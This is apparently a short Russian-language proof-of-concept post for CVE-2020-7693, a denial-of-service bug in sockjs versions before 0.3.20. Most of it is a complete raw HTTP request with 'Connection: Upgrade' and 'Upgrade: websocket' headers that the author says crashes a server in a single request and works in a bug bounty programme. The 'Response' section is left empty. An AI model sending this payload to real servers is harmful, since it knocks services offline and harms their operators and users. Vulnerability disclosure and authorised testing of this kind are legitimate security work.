CVE-2020-7693

CVE-2020-7693 Poc

Примечание: Я подтверждаю, что пейлоад для CVE-2020-7693 может работать в программе Bug Bounty

Описание:

• Неправильная обработка заголовка Upgrade со значением websocket приводит к падению контейнеров, на которых работают приложения sockjs. Это затрагивает пакет sockjs до версии 0.3.20.

Один запрос роняет сервер через устаревший sockjs-node:

• Запрос

GET /sockjs-node/000/ HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: Upgrade
Upgrade: websocket
Cache-Control: no-cache
Connection: close
\r\n (delete-this)
\r\n (delete-this)

• Ответ

На сервере: